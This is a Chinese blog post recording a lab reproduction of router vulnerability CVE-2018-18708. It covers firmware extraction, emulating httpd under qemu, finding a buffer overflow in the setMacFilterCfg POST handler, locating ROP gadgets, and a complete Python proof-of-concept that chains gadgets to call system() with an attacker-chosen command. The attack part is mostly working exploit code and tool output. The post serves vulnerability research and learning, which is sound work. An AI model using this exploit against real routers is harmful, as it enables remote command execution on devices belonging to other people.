Iot:cve-2018-18708实验记录

29 篇文章 0 订阅
1 篇文章 0 订阅

前言:复现了一道路由器cve的题。这里来记录一下,学习一下路由器漏洞挖掘的技巧,大佬勿喷

1、先去官方下载相应的固件版本进行审计
2、再用binwalk -t -e 对bin文件进行提取
3、根据cve-2018-18708的漏洞描述,它的中间件有漏洞。对它的bin目录下的httpd进行审计
4、遇到的一个问题就是在qemu启动这个httpd文件时候,会有检测网络的东西,所以我们要把它patch掉
现在就简绍一下如何patch arm程序为nop
首先:1、edit-》patch program-》change byte 32位下的nop:00 00 A0 E1 即可
5、再进行sudo chroot . ./qemu-arm-static -g 1234 bin/httpd启动就可以了
6、这里再用pattern create 300 个字符来测下溢出
7、经过ida进行代码审计,发现在cgi中有缓冲区溢出,也就是post传参,我可以写个python脚本进行测试
import requests

url = "http://127.0.0.1/goform/setMacFilterCfg"

cookie = {"Cookie":"password=12345"}

data = {"macFilterType": "white", "deviceList": "r"+ "A"*500}
8、cyclic -l taac 查找pc精确偏移
9、ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"

0x00040cb8 : mov r0, sp ; blx r3

ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3

0x00018298 : pop {r3, pc}

最终,payload结构为[offset, gadget1, system_addr, gadget2, cmd] ,完整的POC如下:

import requests

from pwn import *

cmd="echo hello"

libc_base = 0xff58c000

system_offset = 0x5a270

gadget1_offset = 0x18298

gadget2_offset = 0x40cb8

system_addr = libc_base + system_offset

gadget1 = libc_base + gadget1_offset

gadget2 = libc_base + gadget2_offset

payload = "A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

url = "http://127.0.0.1/goform/setMacFilterCfg"

cookie = {"Cookie":"password=12345"}

data = {"macFilterType": "white", "deviceList": "r"+payload}

requests.post(url, cookies=cookie, data=data)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值